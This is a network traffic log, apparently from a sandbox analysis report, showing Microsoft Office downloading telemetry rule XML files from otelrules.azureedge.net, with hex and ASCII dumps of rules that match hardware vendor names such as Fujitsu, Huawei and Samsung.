2024-11-29 18:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e6330c68-701e-006f-6536-40afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184933Z-174f78459684bddphC1EWRbht40000000zz000000000kfx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184933Z-174f7845968nxc96hC1EWRspw8000000101g00000000cspx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184933Z-174f78459688l8rvhC1EWRtzr00000000cx000000000cdyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184933Z-174f7845968cdxdrhC1EWRg0en000000109g000000009cn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:35 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:35 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 32f81047-301e-0051-4315-4138bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184935Z-174f7845968vqt9xhC1EWRgten00000010f00000000027y2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:35 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184935Z-174f7845968psccphC1EWRuz9s00000010k000000000bq3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184935Z-174f78459685726chC1EWRsnbg000000108g00000000n797 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 50b1485a-f01e-0003-090d-424453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184935Z-174f7845968xlwnmhC1EWR0sv80000001080000000002h85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 305613e8-a01e-006f-5c3c-4113cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184936Z-174f7845968pght8hC1EWRyvxg00000003h000000000424v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a230c581-101e-0034-3128-4096ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184938Z-174f7845968glpgnhC1EWR7uec00000010e000000000etqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184937Z-174f78459684bddphC1EWRbht400000010300000000077k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184938Z-174f7845968glpgnhC1EWR7uec00000010eg00000000dv3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49770	13.107.246.63	443	7108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
